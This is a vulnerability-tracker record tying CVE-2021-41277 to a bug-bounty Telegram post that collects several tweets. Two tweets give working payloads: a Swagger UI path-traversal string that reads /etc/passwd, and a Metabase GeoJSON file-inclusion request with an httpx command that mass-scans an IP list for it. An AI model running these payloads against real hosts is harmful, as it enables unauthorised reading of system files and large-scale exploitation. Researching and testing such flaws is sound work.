{"uuid": "5b54b1f6-6038-4c88-9bfe-13ea18bd2e0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41277", "type": "seen", "source": "https://t.me/bhhub/644", "content": "#BugBountyTips of the Day\nYay, I was awarded a $7,500 bounty on @Hacker0x01 !  https://t.co/omBwPCLeT7 #TogetherWeHitHarder with @naglinagli   @YahooSecurity and @TheParanoids  once again show why they can be the best program to hack on, and are one of the most fair programs around.  #BugBounty\n---\nLFI in #SwaggerUI   #bugbountytips   #bugbountytip  add this payload for your LFI word list   /v1/docs//..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\/etc/passwd HTTP/1.1  #NOTE its not working from browser  https://t.co/RKUhGwEmSZ\n---\nBest of SSRF Cheatsheet  Credit @d0nut  #infosec #cybersecurity #pentesting #oscp #cheatsheet #burpsuite #bugbounty #bugbountytips #ssrf #vulnerabilities  https://t.co/4orqpOIEIQ\n---\n#bugbountytips #bugbounty #CVE-2021-41277 Metabase Custom GeoJSON Map file inclusion    https://domain/api/geojson?url=file:///etc/passwd   httpx -l IPlist.txt -follow-redirects -title -path /api/geojson?url=file:///etc/passwd -match-string \"root:x:0:0\"  https://t.co/TnXoIpVvfd\n---\nI am predicting this to be an excellent #book to add to your 2022 list for #webapp #security and #bugbounty hunting. Thank you Corey Ball for sharing your knowledge on this important topic!  #infosec #recon #pentest #api #bugbountytips #websecurity   https://t.co/BVFL57rKx1", "creation_timestamp": "2021-11-23T13:37:04.000000Z"}